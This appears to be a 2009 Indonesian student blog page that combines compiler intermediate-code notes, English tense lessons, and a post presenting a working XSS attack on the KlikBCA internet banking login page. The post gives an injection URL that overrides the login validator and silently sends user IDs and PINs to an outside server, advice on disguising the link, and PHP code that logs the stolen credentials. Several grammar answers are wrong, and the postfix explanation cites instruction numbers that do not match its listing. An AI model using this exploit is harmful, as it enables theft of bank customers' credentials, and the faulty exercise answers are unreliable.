Format instruksi Quadruples hasil adalah temporary yang bisa ditempatkan pada memory atau register :

<operator><operan><operan><hasil>

Contoh Soal :
A:=D*C+B/E

Bila dibuat dalam Kode Antara :
1. *,D,C,T1
2. /,B,E,T2
3. +,T1,T2,A

KODE ANTARA

Kegunaan dari Kode Antara / intermediate code :

  • Untuk memperkecil usaha dalam membangun kompilator dari sejumlah bahasa ke sejumlah mesin
  • Proses optimasi lebih mudah. (dibandingkan pada program sumber atau kode assembly dan kode mesin)

Bisa melihat program internal yang gampang dimengerti.

Contoh soal :

a := 1

WHILE   a<5   DO

a := a + 1

diubah ke notasi postfix menjadi sebagai berikut :

  1. a
  2. 1
  3. :=
  4. a
  5. 5
  6. <
  7. 26     {menunjuk label1}
  8. BZ
  9. a
  10. a
  11. 1
  12. +
  13. :=
  14. 13     {menunjuk label2}
  15. B

Keterangan :

Notasi Postfix di atas bisa dipahami sebagai berikut.

  • Bila ekspresi (a > b) salah, maka loncat ke instruksi no.22
  • Bila ekspresi (a > b) benar, tidak terjadi loncatan, instruksi berlanjut ke 16 sampai 18, lalu loncat ke 25.

October 21, 2009

Security KlikBCA – Recover Password With XSS

Filed under: Teknologi Informasi — nassava @ 7:09 am

Pada tugas Jarkom lanjut kali ini saya akan membahas tentang cracking pada security Bank BCA dengan menggunakan XSS.

Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.

Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.

Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.

The Vulnerability

xss bug

Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.

URL ketika password kita salah adalah:

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)

URL tersebut akan menghasilkan source html sebagai berikut:
<script>
var err=‘User ID harus Alpha Numerik/User ID must be Alpha Numeric’
alert(err);
iBankForm.action=‘login.jsp’;
iBankForm.submit();
</script>

Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);<!--
URL di atas menghasilkan source html berikut:

1
2
3
4
5
6
<script type=“text/javascript”>
var err=‘TEST’;alert(document.cookie);<!–
alert(err);
iBankForm.action=’
login.jsp‘;
iBankForm.submit();
</script>

Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):

klikbca3

Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.

Strategy and Tactics

Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:

  1. Meng-intercept klik tombol submit
  2. Mengirimkan user dan password ke server saya
  3. Mencatat user dan password di server saya

Intercepting Submit Button

Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.

1
2
3
<input type=“Submit” value=“LOGIN” name=“value(Submit)”
onclick=“javascript:return Login_Form_Validator(document.frmParam)”
onmouseover=“this.style.cursor=’hand’” />

Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.

var blnSubmitted = false;
function Login_Form_Validator( theForm ) {document.forms[0][‘value(user_id)’].autocomplete = ‘off’;
document.forms[0][‘value(pswd)’].autocomplete = ‘off’;

var blnResponse = false;
if (blnSubmitted) {
return false;
}

var strErrMsg = “”;
if( document.forms[0][‘value(user_id)’].value == ) {
alert(“Silakan mengisi User ID anda/Please input your User ID”);
document.forms[0][‘value(user_id)’].focus();
return false;
}
if( document.forms[0][‘value(user_id)’].value.length>12) {
alert(“User ID/Password Anda salah / Your User ID/Password is Wrong”);
document.forms[0][‘value(user_id)’].select();
document.forms[0][‘value(user_id)’].focus();
return false;
}

if(document.forms[0][‘value(pswd)’].value == ) {
alert(“Silakan mengisi PIN anda/Please input your PIN”);
document.forms[0][‘value(pswd)’].focus();
return false;
}
if(document.forms[0][‘value(pswd)’].value.length<6) {
alert(“PIN harus 6 Angka/PIN must be 6 digits”);
document.forms[0][‘value(pswd)’].focus();
return false;
}

//if(strErrMsg != ”) {
// alert(strErrMsg);
// return false;
//}

//blnSubmitted = confirm(”Click OK to login.”);
if ( !blnSubmitted ) {
blnSubmitted = true;
blnResponse = true;
}

//if(’< %= blnLogout %>’==’true’)
//blnResponse = false;

return blnResponse;
}

Saya berpikir, bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.

Setelah saya perhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian saya buat browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag <noscript> dan tag awal komentar <! agar javascript pada baris sesudahnya diabaikan browser.

Jadi URL untuk menjalankan taktik saya di atas adalah:

https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--

URL tersebut menghasilkan source html berikut:

<script>
var err=‘TEST’;function Login_Form_Validator(theForm){alert(‘TEST’);return false;}</script><noscript><!–
alert(err);
iBankForm.action=’
login.jsp‘;
iBankForm.submit();
</script>

function overridden

Untuk menguji versi Login_Form_Validator manakah yang dipakai, klik tombol LOGIN tanpa mengisi username dan password. Ternyata yang muncul adalah dialog box “TEST”. Itu berarti fungsi yang berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari kita Lanjut ke taktik ke-2.

Sending username and password

Oke, sekarang ketika user mengklik submit, code kita akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat code untuk mengirimkan user dan password pada saat user mengklik tombol submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser melakukan request ke server saya. Saya menggunakan image untuk tujuan itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat itu juga browser akan melakukan request GET ke server tempat image itu berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah, bila kita ubah atribut src dari object image dengan javascript, maka browser akan mengirimkan request GET sekali lagi. Request ini yang lebih penting, bukan request GET image pertama ketika halaman diload.

Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:

<img src=http://www.ilmuhacking.com/testcapture.php name=“myimage” width=“1″ height=“1″>

Sedangkan variabel yang berisi username dan password adalah:

document.forms[0][‘value(user_id)’].value
document.forms[0][‘value(pswd)’].value

Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:

'http://www.ilmuhacking.com/testcapture.php?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value

Selanjutnya saya harus membuat fungsi Login_Form_Validator mengubah atribut src myimage, agar ketika submit button di-klik maka atribut src myimage akan berubah dan browser akan melakukan request GET ke isi atribut src. Hal yang tricky adalah jika return dari fungsi Login_Form_Validator adalah false, browser baru akan melakukan request image. Bila tidak, browser akan mengabaikan perubahan atribut src, dan tetap melakukan submit.

Untuk menyiasatinya, saya terpaksa membuat agar button submit harus di klik 2x. Pada klik yang pertama tidak terjadi submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src myimage dan mengirim username/password ke server saya. Pada klik ke-2, browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan dengan meng-klik sekali lagi.

Saya buat satu variabel abc yang bernilai false pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi Login_Form_Validator adalah sebagai berikut:

var abc=false;
function Login_Form_Validator(theForm {
if (!abc) {
document.images.myimage.src=http://www.ilmuhacking.com/testcapture.php+‘?userid=’+document.forms[0][‘value(user_id)’].value+‘&passwd=’+document.forms[0][‘value(pswd)’].value;
abc = true;
return false;
}
}

Kini sudah lengkap semua yang dibutuhkan, siap untuk diinjeksikan melalui URL sebagai berikut:

https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--

URL di atas adalah EXPLOIT. Tugas attacker adalah membuat orang lain yang ingin login, meng-klik melalui link tersebut. Ada banyak cara untuk itu. Salah satunya adalah dengan membuat link dengan anchor text di samarkan, seperti ini:

Klik di sini untuk login.

Bila kita coba isi dengan username:abc1234 dan password:123456. Maka pada klik pertama akan ada request GET ke URL berikut ini:

http://www.ilmuhacking.com/testcapture.php?userid=abc1234&passwd=123456

Baru pada klik ke-2, username dan password tersebut di-submit dengan request POST ke server yang benar.

Saving User and Password

Sekarang bagian yang paling mudah, yaitu menyimpan username dan password yang masuk. Dalam contoh ini saya gunakan URL www.ilmuhacking.com/testcapture.php

Saya menyimpan user dan password dalam file capture.txt. Kode PHP yang saya gunakan untuk menyimpan user dan password adalah sebagai berikut:

1
2
3
4
5
6
7
8
9
10
11
<?php
$file=fopen(“capture.txt”,“a+”);
$userid=$_GET[“userid”];
$passwd=$_GET[“passwd”];
$ipaddr=$_SERVER[“REMOTE_ADDR”];
$now = date(“Ymd H:i:s”);
if (!empty($userid)) {
fwrite($file,$userid =&amp;gt; $passwd (at $now from $ipaddr)\n);
}
fclose($file);
?>

Kesimpulan

Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities

Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.

=================== [ EOF ] =====================

THE VERB PHRASE

Filed under: Uncategorized — nassava @ 3:52 am

Simple Present – Present Progressive

Form

Simple Present

Present Progressive

infinitive
(3rd person singular: infinitive + ‘s’)

I speak
you speak
he / she / it speaks
we speak
they speak

form of ‘be’ and verb + ing

I am speaking
you are speaking
he / she / it is speaking
we are speaking
they are speaking

Exceptions
Exceptions when adding ‘s’ :

  • For can, may, might, must, do not add s.

Example: he can, she may, it must

  • After o, ch, sh or s, add es.

Example: do – he does, wash – she washes

  • After a consonant, the final consonant y becomes ie. (but: not after a vowel)

Example: worry – he worries
but: play – he plays

Exceptions when adding ‘ing’ :

  • Silent e is dropped. (but: does not apply for -ee)

Example: come – coming
but: agree – agreeing

  • After a short, stressed vowel, the final consonant is doubled.

Example: sit – sitting

  • After a vowel, the final consonant l is doubled in British English (but not in American English).

Example: travel – travelling (British English)
but: travelling (American English)

  • Final ie becomes y.

Example: lie – lying

Use

In general or right now?

Do you want to express that something happens in general or that something is happening right now?

Simple Present

Present Progressive

in general (regularly, often, never)

Colin plays football every Tuesday.

present actions happening one after another

First Colin plays football, then he watches TV.

right now

Look! Colin is playing football now.

also for several actions happening at the same time

Colin is playing football and Anne is watching.

Signal words
  • always
  • every …
  • often
  • normally
  • usually
  • sometimes
  • seldom
  • never
  • first
  • then
  • at the moment
  • at this moment
  • today
  • now
  • right now
  • Listen!
  • Look!
Note: The following verbs are usually only used in Simple Present:
be, have, hear, know, like, love, see, smell, think, want

Timetable / Schedule or arrangement?

Do you want to express that something is arranged for the near future? Or do you refer to a time set by a timetable or schedule?

Simple Present

Present Progressive

action set by a timetable or schedule

The film starts at 8 pm.

arrangement for the near future

I am going to the cinema tonight.

Daily routine or just for a limited period of time?

Do you want to talk about a daily routine? Or do you want to emphasis that something is only going on for a limited (rather short) period of time?

Simple Present

Present Progressive

daily routine

Bob works in a restaurant.

only for a limited period of time (does not have to happen directly at the moment of speaking)

Jenny is working in a restaurant this week.

Certain Verbs

The following verbs are usually only used in Simple Present (not in the progressive form).

  • state: be, cost, fit, mean, suit

Example: We are on holiday.

  • possession: belong, have

Example: Sam has a cat.

  • senses: feel, hear, see, smell, taste, touch

Example: He feels the cold.

  • feelings: hate, hope, like, love, prefer, regret, want, wish

Example: Jane loves pizza.

  • brain work: believe, know, think, understand

Example: I believe you.

  • Introductory clauses for direct speech: answer, ask, reply, say

Example: “I am watching TV,“ he says.

Exercises :

  1. Something_______(smell) very good.

Answer : smells

  1. We______(eat) dinner at seven o’clock tonight.

Answer : are eating

  1. He______(practice) the piano every day.

Answer : practices

  1. They___­­___(drive) to school tomorrow.

Answer : are driving

  1. I_____(believe) you.

Answer : believe

  1. Maria_____(have) a cold.

Answer : has

  1. Jorge______(swim) right now.

Answer : is swimming

  1. John_____(hate) smoke

Answer : hates

  1. Jill always_______(get) up at 6.00 A.M.

Answer : gets

  1. Jerry______(mow) the lawn now.

Answer : is mowing

Simple Past Tense – Past Progressive (continous)

Form

Simple Past

Past Progressive

irregular verbs: see 2nd column of irregular verbs

I spoke

regular verbs: verb + ed

I worked

past form of ‘be’ + ing form of verb

I was speaking
you were speaking
he / she / it was speaking
we were speaking
they were speaking

Exceptions
Exceptions when adding ‘ed’ :

  • when the final letter is e, only add d.

Example: love – loved

  • after a short, stressed vowel, the final consonant is doubled

Example: admit – admitted

  • final l is always doubled in British English (not in American English)

Example: travel – travelled

  • after a consonant, final y becomes i. (but: not after a vowel)

Example: worry – he worried
but: play – he played

Exceptions when adding ‘ing’ :

  • silent e is dropped (but: does not apply for -ee)

Example: come – coming
but: agree – agreeing

  • after a short, stressed vowel, the final consonant is doubled

Example: sit – sitting

  • final l is always doubled in British English (not in American English)

Example: travel – travelling

  • final ie becomes y.

Example: lie – lying

Use

After another or at the same time?

Do you want to express that the actions in the past happened one after another or at the same time?

Simple Past

Past Progressive

after another

She came home, switched on the computer and checked her e-mails.

at the same time

Simon was playing on the computer while his brother was watchin TV.

New action or already in progress?

If you want to express that a new action happened in the middle of another action, you need both tenses: Simple Past the new action and Past Progressive for the action already in progress.

Simple Past

Past Progressive

new action

My mobile rang (when I was sitting in a meeting.)

action already in progress

While I was sitting in a meeting, (my mobile suddenly rang.)

Only mentioning or emphasising progress?

Do you just want to mention that an action took place in the past (also used for short actions)? Or do you want to put emphasis on the progress, e.g. that an action was taking place at a certain time?

Simple Past

Past Progressive

just mentioning

Colin played football yesterday.

emphasising progress

Yesterday at six o’clock, Colin was playing football.

Certain Verbs

The following verbs are usually only used in Simple Past (not in the progressive form).

  • state: be, cost, fit, mean, suit

Example: We were on holiday.

  • possession: belong, have

Example: Sam had a cat.

  • senses: feel, hear, see, smell, taste, touch

Example: He felt the cold.

  • feelings: hate, hope, like, love, prefer, regret, want, wish

Example: Jane loved pizza.

  • brain work: believe, know, think, understand

Example: I did not understand him.

  • introductory clauses for direct speech: answer, ask, reply, say

Example: “I am watching TV,“ he said.

Signal words

Simple Past

Past Progressive

  • first
  • then
  • If-Satz Typ II (If I talked, …)
  • when
  • while
  • as long as

Exercises :

Use either the simple past tense or the past progressive in the following sentences as approiate.

  1. Gene_____(eat) dinner when his friend called.

Answer : was eating

  1. While Maria was cleaning the apartment, her husband__________(sleep).

Answer : was sleeping

  1. At three o’clock this morning. Eleanor________(study).

Answer : was studying

  1. When Mark arrived, the Johnsons________(have) dinner, but they stopped in order to talk him.

Answer : were having

  1. John_____(go) to France last year.

Answer : went

  1. When the teacher_________(enter) the room, the students were talking.

Answer : entered

  1. While joan was writing the report, Henry_________(look) for more information.

Answer : was looking

  1. We____(see) this movie last night.

Answer : saw

  1. At one time, Mr. Roberts__________(own) this building.

Answer : owned

  1. Jose_______(write) a letter to his family when his pencil_______(break).

Answer : was writing, broke

Present Perfect Tense – Present Perfect Progressive (continous)

Form

Present Perfect Simple

Present Perfect Progressive

irregular verbs: form of ‘have’ + 3rd column of irregular verbs

Example:

I / you / we / they have spoken

he / she / it has spoken

regular verbs: form of ‘have’ + infinitive + ed

Example:

I / you / we / they have worked

he / she / it has worked

form of ‘have’ + been + verb + ing

Example:

I / you / we / they have been speaking

he / she / it has been speaking

Exceptions
Exceptions when adding ‘ed’ :

  • when the final letter is e, only add d

Example:

love – loved

  • after a short, stressed vowel, the final consonant is doubled

Example:

admit – admitted

  • final l is always doubled in British English (not in American English)

Example:

travel – travelled

  • after a consonant, final y becomes i (but: not after a vowel)

Example:

worry – worried

but: play – played

Exceptions when adding ‘ing’ :

  • silent e is dropped. (but: does not apply for -ee)

Example: come – coming
aber: agree – agreeing

  • after a short, stressed vowel, the final consonant is doubled

Example: sit – sitting

  • after a vowel, the final consonant l is doubled in British English (but not in American English).

Example: travel – travelling

  • final ie becomes y.

Example: lie – lying

Use

Both tenses are used to express that an action began in the past and is still going on or has just finished. In many cases, both forms are correct, but there is often a difference in meaning: We use the Present Perfect Simple mainly to express that an action is completed or to emphasise the result. We use the Present Perfect Progressive to emphasise the duration or continuous course of an action.

Result or duration?

Do you want to express what has happened so far or how long an action has been going on yet?

Present Perfect Simple

Present Perfect Progressive

Result (what / how much / how often)

I have written 5 letters. / I have been to London twice.

Duration (how long)

I have been writing for an hour.

Certain verbs

The following verbs are usually only used in Present Perfect Simple (not in the progressive form).

  • state: be, have (for possession only)

Example: We have been on holiday for two weeks.

  • senses: feel, hear, see, smell, taste, touch

Example: He has touched the painting.

  • brain work: believe, know, think, understand

Example: I have known him for 3 years.

Emphasis on completion or duration?

Do you want to emphasise the completion of an action or its continuous course (how has somebody spent his time)?

Present Perfect Simple

Present Perfect Progressive

Emphasis on completion

I have done my homework. (Meaning: My homework is completed now.)

Emphasis on duration

I have been doing my homework. (Meaning: That’s how I have spent my time. It does not matter whether the homework is completed now.)

Result or side effect?

Do you want to express that a completed action led to a desired result or that the action had an unwanted side effect?

Present Perfect Simple

Present Perfect Progressive

desired result

I have washed the car. (Result: The car is clean now.)

unwanted side effect

Why are you so wet? – I have been washing the car. (side effect: I became wet when I was washing the car. It does not matter whether the car is clean now.)

Time + negation: last time or beginning of an action?

In negative sentences: Do you want to express how much time has past since the last time the action took place or since the beginning of the action?

Present Perfect Simple

Present Perfect Progressive

since the last time

I haven’t played that game for years. (Meaning: It’s years ago that I last played that game.)

since the beginning

I haven’t been playing that game for an hour, only for 10 minutes. (Meaning: It’s not even an hour ago that I started to play that game.)

Permanent or temporary?

If an action is still going on and we want to express that it is a permanent situation, we would usually use the Present Perfect Simple. For temporary situations, we would prefer the Present Perfect Progressive. This is not a rule, however, only a tendency.

Present Perfect Simple

Present Perfect Progressive

permanent

James has lived in this town for 10 years. (Meaning: He is a permanent resident of this town.)

temporary

James has been living here for a year. (Meaning: This situation is only temporary. Maybe he is an exchange student and only here for one or two years.)

Signal words

Present Perfect Simple

Present Perfect Progressive

  • how often
  • … times
  • how long
  • since
  • for

Exercises :

Use either the present perfect or the simple past in the following sentences.

  1. John____(write) his report last night.

Answer : Wrote

  1. Bob______(see) this movie before.

Answer : has seen

  1. Jorge______(read) the newspaper already.

Answer : has read

  1. Mr. Johnson_______(work) in the same place for thirty-five years.

Answer : has works

  1. We_______(begin; negative) to study for the test yet.

Answer : haven’t begun

  1. George______(go) to the store at ten o’clock this morning.

Answer : went

  1. Joan_______(travel) around the world.

Answer : has traveled

  1. Betty______(write) a letter last night.

Answer : wrote

  1. Guillermo_______(call) his employer yesterday.

Answer : called

  1. We________(see; negative) this movie yet.

Answer : have not seen

Past Perfect Tense – Past Perfect Progressive (continous)

Past Perfect

The past perfect is used to indicate :

  • An action that happened before another action in the past; there usually are two actions in the sentence.
  • A state which continued for a time in the past, but stopped before now.

Past Perfect Progressive

The past perfect progressive puts emphasis on the course or duration of an action taking place before a certain time in the past.

Form

  • A: He had been talking.
  • N: He had not been talking.
  • Q: Had he been talking?

Use

  • action taking place before a certain time in the past
  • sometimes interchangeable with past perfect simple
  • puts emphasis on the course or duration of an action

signal words

  • for, since, the whole day, all day

Exercises :

Supply the past perfect or simple past in the following sentences.

  1. The policeman read the suspect his rights after he_______(arrest) him.

Answer : had arrested

  1. After John______(wash) his clothes, he began study.

Answer : had washed

  1. George______(wait) for one hour before the bus came.

Answer : has waited

  1. Maria______(enter) the university after she had graduated from the community college.

Answer : entered

  1. Jeanette______(wash) the pipettes after she had completed the experiment.

Answer : washed

  1. Jane sent a letter to her university after she________(receive) her scholarship check.

Answer : has received

  1. After the stewardesses had served lunch to the passengers, they________(sit) down.

Answer : sat

  1. The car______(flip) ten times before it landed on its roof.

Answer : had flipped

  1. We corrected our papers after we________(take) the quiz.

Answer : had taken

10.  John______(live) in Miami for one year when his parents came to visit.

Answer : had lived

October 14, 2009

TUGAS BAHASA INGGRIS

Filed under: Uncategorized — nassava @ 12:53 pm
Older Posts »

Blog at WordPress.com.